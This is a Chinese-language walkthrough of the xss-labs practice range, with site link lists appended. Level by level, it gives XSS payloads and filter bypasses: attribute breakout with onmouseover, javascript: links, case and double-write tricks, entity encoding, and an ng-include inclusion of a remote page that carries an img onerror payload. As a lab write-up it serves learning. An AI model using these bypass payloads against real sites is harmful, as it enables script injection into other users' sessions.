level1

<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户te111</h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:5</h3></body>
</html>

因为本省就闭合了 所以直接传入 <script>alert(1)</script>

level2

<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和test11111相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="test11111">
<input type=submit name=submit value="搜索"/>
</form>

同样是直接闭合的 所以直接传入 <script>alert(1)</script>

我们发现 它对我们传入的 < > 进行了 html实体编码

<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和&lt;script&gt;alert(1)&lt;/script&gt;相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="<script>alert(1)</script>">
<input type=submit name=submit value="搜索"/>
</form>

分析一下源代码 看看具体流程

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

看到这里 用了 htmlspecialchars这个函数

然后继续审计代码 发现

这里面也拼接了我们传入的值

<input name=keyword  value="'.$str.'">

所以我们可以尝试闭合 这个 input标签 直接加一个 >

现在我们传入">111 html 代码变成了<input name=keyword value="">111">

现在我们再传入"><script>alert(1)</script>

现在html代码变成了<input name=keyword value=""><script>alert(1)</script>">

但是这里有一个疑惑 因为后面肯定是要有这个">"的因为

他是直接拼接到我们传入值后面的

但是它同样的可以执行js代码 应该是 只要前面代码不出现错误 就会继续正常执行? 应该是这个样子把

level3

第三关我们传入1111

<input name=keyword  value='111111'>

发现我们跟上一关一样 只不过单引号变为了双引号 现在我们继续传入

'><script>alert(1)</script>

但是我们发现传入的东西变为了

<input name=keyword  value=''&gt;&lt;script&gt;alert(1)&lt;/script&gt;'>

加入了htmlspecialchars进行了转义

所以这里不能使用 ' " > <

这里可以使用另一种方式执行js代码

有一个这个事件onmouseover 当鼠标移动上去就会执行 设定的js代码

现在我们可以传入'onmouseover = 'javascript:alert(1)

现在html变成了

<input name=keyword  value=''onmouseover = 'javascript:alert(1)'>

巧妙地 把前面的引号和后面的引号闭合掉了

但是这里是有一个缺点的 是必须要我们鼠标移动到上面才可以执行js代码

他这里也是 不编码单引号 所以直接 直接闭合它

leve4

输入1111看看效果

<input name=keyword  value="1111">

发现还是这个样子 同样尝试闭合来执行"><script>alert(1)</script>

右击查看源代码发现

<input name=keyword  value=""scriptalert(1)/script">

发现把我们传入的> <弄没了 应该是替换为空了

看一下源代码把 源代码中发现

$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);

> <替换为空了

那还可以就像我们上一关那个样子 可以利用onmouseover 来执行js代码 现在传入" onmouseover="javascript:alert(1)

发现执行成功

html代码变为了

<input name=keyword  value="" onmouseover="javascript:alert(1)">

leve5

跟之前一样 我们尝试闭合 标签然后写入<script>alert(1)</script> 这里输入"><script>alert(1)</script>

然后html代码变为了

<input name=keyword  value=""><scr_ipt>alert(1)</script>">

所以过滤了 <script>但是我们还可以通过 之前那种做法" onmouseover="javascript:alert(1)

html代码变为了

<input name=keyword  value="" o_nmouseover="javascript:alert(1)">

所以这里是 把on变成了 o_n

看一下后端是怎么进行过滤的

$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);

这里我们可以用大小写来绕过输入"><sCript>alert(1)</script> 但是他这里进行了转小写的操作

$str = strtolower($_GET["keyword"]);

所以大小写绕过也是不行的

但是为了验证html 是不是区分大小写的 我们可以把上面转小写的代码注释掉试一试

发现确实是不区分大小写的

那还可以通过什么方式来绕过呢

可以使用超链接的方法

老样子 先闭合 然后添加超链接"><a href="javascript:alert(1)

但是这种要求更严格了 就需要我们点击这个超链接才可以触发js代码

还有一种方法 这里虽然不可用 但是还要说一下 就是 如果它过滤了<script> 我们就可以再后面加一个空格来绕过了 就是<script > 但是这里它只是过滤了<script 我们如果往前面加空格的话 他js语法不允许的 所以 如果有时过滤了 <script>我们可以在后面加空格来绕过

leve6

这关直接大小写绕过就可以了

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);

虽然过滤了这么多关键字 但是没有转换为小写 可以大小写绕过

leve7

发现过滤了script 直接双写绕过

leve8

使用html编码绕过即可 需要url编码才可以

leve9

跟上一关一样 就是不需要加上http://然后就可以在前面加注释符就可以了javascrip%26%23x74%3B:alert(1)//http://

leve10

可以传入

" onmouseover="javascript:alert(1)

但因为属性是hidden的 我们没有办法去触发js代码 所以我们可以用添加一个type属性

" type="text" onmouseover="javascript:alert(1) 让它显示出来 然后就可以触发

leve11

http头注入

leve12

leve13

跟之前的差不多 不说了

leve14

环境问题

leve15

看代码

<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

这里面有个ng-include:函数 可以包含html文件 但是php中的 html代码也是可以的

ng-include 指令用于包含外部的 HTML文件
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
ng-include,如果单纯指定地址,必须要加引号
ng-include,加载外部html,script标签中的内容不执行
ng-include,加载外部html中含有style标签样式可以识别

所以这里在自己的vps上写个可以触发xss的代码

例如

<?php
header('Access-Control-Allow-Origin:*');
?>
<html>
<img src=1 onerror="alert(123)">
</html>

因为是不能触发script标签里面的代码 所以我们可以用上面的来触发 使 图片加载不出来 然后执行后面的 onerror 然后默认情况下使只能包含同域名下的文件 但是我们在我们的xss.php中写了 允许所有人访问 就可以包含了

然后还必须要加引号 ?src='http://xxx.xxx.xxx.xxx/xss.php'

leve16

可以用上面那个 引用不存在的图片 然后执行onerror中的代码<img src=0 onerror=alert(1)>

因为过滤了空格 然后可以用 %09(换行)来绕过

xss-labs的更多相关文章

  1. XSS - Labs 靶场笔记(下)

    Less - 11: 1.观察界面和源代码可知,依旧是隐藏表单 2.突破点是 $str11=$_SERVER['HTTP_REFERER']; (本题为HTTP头REFERER注入) 3.因此构造pa ...

  2. XSS - Labs 靶场笔记(上)

    上周在网上看到的一个XSS平台,刷一波<doge Less - 1: 1.进入主界面,由图二可知是GET请求,提交name=test,回显在页面 2.查看源代码可知 没有做任何过滤,显然存在反射 ...

  3. [转]XSS现代WAF规则探测及绕过技术

    初始测试 1.使用无害的payload,类似<b>,<i>,<u>观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过滤<>等等: 2.如果 ...

  4. WAF指纹识别和XSS过滤器绕过技巧

    [译文] -- “Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters” 0x1 前言 之前在乌云drop ...

  5. Web安全--XSS现代WAF规则探测及绕过技术

    XSS现代WAF规则探测及绕过技术初始测试 1.使用无害的payload,类似<b>,<i>,<u>观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过 ...

  6. XSS绕过小结

    0x00前言 我们友情进行XSS检查,偶然跳出个小弹窗,其中我们总结了一些平时可能用到的XSS插入方式,方便我们以后进行快速检查,也提供了一定的思路,其中XSS有反射.存储.DOM这三类,至于具体每个 ...

  7. XSS绕过速查表

    0x00 目录 0x01 常规插入及其绕过 1 Script 标签 绕过进行一次移除操作: <scr<script>ipt>alert("XSS")< ...

  8. 【技巧总结】Penetration Test Engineer[3]-Web-Security(SQL注入、XXS、代码注入、命令执行、变量覆盖、XSS)

    3.Web安全基础 3.1.HTTP协议 1)TCP/IP协议-HTTP 应用层:HTTP.FTP.TELNET.DNS.POP3 传输层:TCP.UDP 网络层:IP.ICMP.ARP 2)常用方法 ...

  9. Bypass xss过滤的测试方法

    0x00 背景 本文来自于<Modern Web Application Firewalls Fingerprinting and Bypassing XSS Filters>其中的byp ...

  10. 第二百六十五节,xss脚本攻击介绍

    xss脚本攻击介绍 Cross-Site Scripting(XSS)是一类出现在 web 应用程序上的安全弱点,攻击者可以通过 XSS 插入一 些代码,使得访问页面的其他用户都可以看到,XSS 通常 ...

随机推荐

  1. 【USACO 2021 US Open, Gold】Permutation

    \(\text{Solution}\) 发现每个时刻的状态一定是所有点在一个最外围三角形的内部 设 \(f_{i,j,k,p}\) 表示排列填到第 \(p\) 位,此时图形最外围的三角形是以编号为 \ ...

  2. 勇者sky遇上的命中注定的恋人白羽竟然是妹妹2

    题目大意 构造一个分段函数来拟合若干点(\(x_i , y_i\)),每一段是一个常函数,即 \[f(x)= \left \{ \begin{aligned} a_1& & (0\le ...

  3. The size of the request headers is too long.

    当 IIS7/7.5 收到的请求头的长度超过16K(默认值),就会引发"Bad Request - Request Too Long. HTTP Error 400. The size of ...

  4. [专题总结]Gridea快速免费搭建个人博客

    介绍 或许你很想把你所知道的问题写出来,或许你文思泉涌,想给大家分享.我相信,你一定能写好博客,只要坚持,就可以了. 或许大家会不理解,为什么不用大平台的博客呢?或许你稍微了解就会知道,现在的博客平台 ...

  5. P8421 [THUPC2022 决赛] rsraogps

    \(\text{Solution}\) 肯定扫描线在考虑维护什么东西,假设 \(r\) 右移时可以暴力得到所有新值,发现需要维护区间历史版本和以及区间当前值之和 这三个操作对于一个数来说变化次数都是 ...

  6. wpf 样式style封装以及点击按钮打开新窗口

    在页面引用: ok~ 点击按钮打开新窗口: 1.点击按钮 点击工具栏的这个小闪电 2.双击click后的灰框或者输入点击事件名称 3.这里是打开window1窗口 ok~

  7. GeoServer发布MySQL空间数据

    1. 概述 MySQL是常用的关系型数据库,MySQL遵从OpenGIS联盟(OGC)的规范,实施了空间扩展,更详细的信息可以参考: MySQL :: MySQL 8.0 Reference Manu ...

  8. Windows必装软件,一个比一个好用

    前言 每次重装完系统,或者新换了电脑之后,你第一时间会安装哪些软件呢?那这次小卷就为大家带来18款电脑必备软件,它们共同的特点是绿色小巧无广告,而且在我看来,每一个同类型软件中最出类拔萃的,我就这么说 ...

  9. CF207C

    前言 学习 zzd 博客( 这题超级没有素质. 连个题解都搜不到. 好不容易搜到一个. 看了一下是 pascal. 不过还好我有办法. 树剖做 \(k\) 级祖先. 十万的俩老哥飘过. 三百毫秒优异成 ...

  10. http协议与tcp协议的理解

    1.区别 tcp协议是对应于传输层,http协议是对应于应用层,从本质上来说,二者是没有可比性的.http协议是建立在tcp协议基础之上的,当浏览器需要从服务器获取网页数据的时候,会发送一次http请 ...